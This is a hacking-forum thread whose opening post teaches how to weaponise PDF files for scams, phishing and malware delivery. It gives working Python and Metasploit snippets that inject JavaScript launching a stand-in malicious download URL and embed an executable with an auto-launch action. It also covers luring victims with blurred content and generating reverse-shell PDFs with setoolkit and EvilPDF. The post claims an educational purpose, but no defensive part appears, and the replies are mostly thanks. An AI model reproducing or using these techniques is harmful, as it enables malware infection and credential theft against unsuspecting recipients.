[Bastille]

✅ 2025 updated, added Setoolkit and EvilPDF methods ✅

The purpose of this thread is for educational purposes only. It aims to provide an overview of the attacks, tools, and methods used by hackers during their attacks. In the second part, we will discuss how to analyze these documents to detect malicious ones, as well as useful countermeasures to prevent them.


1. Scam file
2. Phishing file
3. Javascript
5. Embedded .exe file
6. Vulnerability exploit
7. List of tools

---

I. SCAM FILES
Main objectives : 💸 (money)

One of the most common is the "scam file" as it doesn't require high level of technical skills, which is basically developped around a scam and ask for the user to call a phone number or to proceed to a payment. Here it's an example of a scam :



How hackers make these successful :

• They use social engineering levers, such as :
  

- Urgency (confirm your winning now !!!)
- Opportunity (upgrade your account to win an additional prize !!!)
- Trust (sharing fake phone number and TG account)
- Fear (it's specified for the phone number that if it's shared it will be shutdown !!)

• Nowadays, hackers use ChatGPT to make well written texts
  
• Use real links / images
  
• Use dedicated name for each victim
  
• Embed malicious links in what looks like legit links (see the screenshot and the URL)
  

---

II. PHISHING FILES
Main objectives : 🔑 (credentials / bank info)



The hackers use fake pdf files of services that the victim is using to increase their chances. They clone the official page to then retrieve the credentials.
This will not be discussed here. *

---

III. JAVASCRIPT
Main objectives : ♻️ (multiples)

This part can be done through tools or manually. If you choose the second option you'll need some additional knowledge, such as what are Types and how they work.

CLI Tools : You can ask to ChatGPT to generated the codes / command lines for this

• PyPDF2 : https://pypi.org/project/PyPDF2/
  
• PyMuPDF : https://pypi.org/project/PyMuPDF/
  
• PdfRW : https://github.com/pmaupin/pdfrw
  

Here is a tutorial on how to open a webpage when a PDF file is opened, with PyPDF2 :
Spoiler (Click to View)

Code

from PyPDF2 import PdfReader, PdfWriter

# Function to add JavaScript to an existing PDF
def add_javascript_to_existing_pdf(input_pdf, output_pdf, url):
    # Read the existing PDF
    reader = PdfReader(input_pdf)
    writer = PdfWriter()

    # Copy all pages from the original file to the writer
    for page in reader.pages:
        writer.add_page(page)

    # Add JavaScript to the PDF
    javascript = f"app.launchURL('{url}', true);"
    writer.add_js(javascript)

    # Write the modified PDF to a new file
    with open(output_pdf, "wb") as f:
        writer.write(f)

# Specify the existing PDF, output file, and URL
input_pdf = "existing_file.pdf"
output_pdf = "modified_with_javascript.pdf"
url_to_open = "https://malicious-url.com/made-by-hackforums.exe"

# Call the function
add_javascript_to_existing_pdf(input_pdf, output_pdf, url_to_open)

print(f"JavaScript added successfully to {output_pdf}")

GUI Tools :

• PDFtk - The PDF Toolkit : https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ (the free version doesn't allow you to do a lot of things, take a look at the paid version which is 3.99$)
  

Manual Edition :

• Use any text editor and add some /Types such as /Action, here is an example :
  
  Code

  <<
  /Type /Action
  /S /JavaScript
  /JS (app.alert('You've been hacked !'))
>>

Hacking Tools :

• Metasploit, pop-up :
  
  Code

  use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.alert('This is a test JavaScript injection');" #define the Javascript
set OUTPUTFILE js_injected.pdf #define the output file
exploit #generate the PDF file
  
  
• Metasploit, redirection link :
  
  Code

  use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.launchURL('https://malicious-website.com', true);" #define the Javascript
set OUTPUTFILE redirect.pdf #define the output file
exploit #generate the PDF file

IV. EMBEDDED .EXE FILE
Main objectives : Malware 👾

There are different options for embedded files, you can configure the PDF files to automatically execute the .exe file when the victim opens the PDF file, however it seems that this flaw has been patched on many PDF readers. Otherwise, you can embed it and trick the victim to make it execute like saying it's necessary to update their PDF reader with the .exe file embedded.

Code

import pikepdf

# Open an existing PDF
pdf = pikepdf.Pdf.open("input.pdf")

# Add an embedded file
embedded_file = pdf.make_stream(open("example.exe", "rb").read())
embedded_file.Type = "/EmbeddedFile"
embedded_file.Length = len(embedded_file.get_raw_stream_buffer())
pdf.Root.Names = pdf.make_dict(EmbeddedFiles=pdf.make_dict(Names=["example.exe", embedded_file]))

# Add a Launch action
launch_action = pdf.make_dict(S="/Launch", F="example.exe")
pdf.Root.OpenAction = launch_action

# Save the modified PDF
pdf.save("output.pdf")

If you see that the auto-execution of .exe files is not possible, or if .exe files are blocked, instead you can use URLs with /OpenAction so a URL opens and automatically downloads the .exe file, and then you can ask to the victim to execute the .exe that has been downloaded to see the content of the PDF file (and you can use a tool to blur the content of the PDF file, making thinking the victim if he executes the .exe file then the content of the PDF will be unblurred/unlock).

You can blur the content of a PDF file with tools like Py2PDF and Pillow, or you can just add a blurred image that you made with Gimp, Photoshop, or online tools such as https://www.photopea.com/ , here is an example :



Embed an .EXE with setoolkit

Execute the tool as root user, if you don't have it installed then use the following command :

Code

sudo apt install set

After executing you'll be asked to choose options from a menu :



You'll then need to chose :
- what PDF file to use, your own PDF file, or a blank one
- the paylod (Windows Reverse TCP Shell, Meterpreter Reverse TCP, Reverse VNC DLL, ...) and configure the options (remote IP address, port, ...)

Embed an .EXE with EvilPDF

From the github repo : https://github.com/superzerosec/evilpdf , works similarly to Setoolkit :



V. VULNERABILITY EXPLOIT
Main objectives : 🖥️ (remote access)

You can look for the main PDF reader programs in Metasploit and the known exploits, here is in example for Foxit reader :



Here is a list of some exploits that might be used by hackers :

• Corrupted font (vulnerabilities in how PDF readers handle embedded fonts)
  
• Overflow form (improperly handled or excessive data in form fields within the PDF)
  
• Embedded executable files (files are attached with /FileSpec and might be executed with /JavaScript, /Launch, or /OpenAction), but from what I've read it's deprecated)
  
• Buffer Overflow (vulnerabilities in how PDF readers handle overly long strings or malformed objects)
  
• Heap Spray (using JavaScript to allocate memory in a way that enables arbitrary code execution)
  
• XFA forms (targeting XML Form Architecture (XFA) forms for privilege escalation or code execution)
  
• Annotation Exploits (using malformed annotations to cause crashes or code execution)
  

VI. LIST OF TOOLS

https://github.com/mufeedvh/pdfrip > PDF password cracking
https://github.com/jonaslejon/malicious-pdf > Generate ten different malicious pdf files with phone-home functionality.

---

While looking for tools I stubbed upon this link which provides maybe more details about the topic we approached above, feel free to take a look at it too : https://0xcybery.github.io/blog/hacking-with-pdf

Here is an article about the structure of PDF files : https://medium.com/@jberkenbilt/the-stru...08114a58f6

And two other links to dive deeper in this field :
https://cloudmersive.com/article/Underst...-Documents
https://www.sentinelone.com/blog/malicio...d-attacks/

[Chinggist]

Great and informative thread.

[DemoTester]

Love the Thread!! Very informative.

[bagsandtagsss777]

yes likelwise very interesting thread

[Bastille]

Great and informative thread.

Love the Thread!! Very informative.

yes likelwise very interesting thread

Thanks guys ! More is coming soon, feel free to request hacking tutorials here : https://hackforums.net/showthread.php?tid=6282713 (as long as it doesn't go against the rules !!)

[mr-xs]

Exelent 😁
Thank you, it will be very useful to me

[Tegroid]

This really the most googled topic. Thanks for it.

[Bastille]

Exelent 😁
Thank you, it will be very useful to me

This really the most googled topic. Thanks for it.

You're welcome guys, if you would like to see other tutorials feel free to submit your requests here : https://hackforums.net/showthread.php?tid=6282713 (it must respect HF rules tho, some topics are not allowed, please read the Help Docs to be aware of them)

I promise to only use this information for good.

Always 👀

[pinkfan]

I saw this topic accidently and how lucky I am. tnx bro

[Bastille]

I saw this topic accidently and how lucky I am. tnx bro

You're welcome, feel free to check my other hacking tutorials, and if you have requests you can submit here as long as it doesn't go against the rules of the forum https://hackforums.net/showthread.php?tid=6282713

[Charlie Sheen]

es interesante como los hacker usan la ing social para infectar a las persona

All posts must be made in English. Please read our Help Docs.

[Mexicano]

Very nice and well structured explanation with which even begginers can have an insight of what it looks like.

As well guess that Python/Bash/Powershell scirpting seems to be a must if you are doing whaterver IT work in the industry, since it is crucial in automating tasks and making your life easier.

Very good thread.

[Bastille]

Very nice and well structured explanation with which even begginers can have an insight of what it looks like.

As well guess that Python/Bash/Powershell scirpting seems to be a must if you are doing whaterver IT work in the industry, since it is crucial in automating tasks and making your life easier.

Very good thread.

Thanks for your post ! And you're right, depending on your job one of them might be more important than the others, but basically they allow you to expend your capacities (such as automating tasks) and it's always good skills to get. Besides, with ChatGPT, it's even easier (but don't rely 100% on it).

You're welcome ! If you're looking for a tutorial and you don't find it with the search feature, feel free to submit a request here (as long as it doesn't go against the rules of the forum) : https://hackforums.net/showthread.php?tid=6282713

[F4tDoinkz]

Damn, thanks for this. Very helpful thread. Maybe I will play around with some exploits later ;)

[Mexicano]

Thanks for your post ! And you're right, depending on your job one of them might be more important than the others, but basically they allow you to expend your capacities (such as automating tasks) and it's always good skills to get. Besides, with ChatGPT, it's even easier (but don't rely 100% on it).

You're welcome ! If you're looking for a tutorial and you don't find it with the search feature, feel free to submit a request here (as long as it doesn't go against the rules of the forum) : https://hackforums.net/showthread.php?tid=6282713

Thanks man, you really have got the greatest tutorials here. I am really imperessed with the structure you are doing on your posts, they look so professional. You kinda make me want to improve they way I structure my stories when type ... ✌


Regarding the ChatGPT part, a lot of non-technical people around me keep saying:

"All you IT's are doomed, with ChatGPT we don't need IT's, as he can build me fully functioned website .... Finally the ballon for you all will pop ..."

And most of the times, I am just sitting there and be like, okay ChatGPT will spit the code and you might have functioning website, but you do not have idea how it function, or how to modify or support it goddman.

Yeah it is useful, but still the person behind it, needs to know excatly how to code works, so it can be modified properly and as well my opionion, nobody with some six figures business, wouldn't rely for his business to run on it and cut his staff.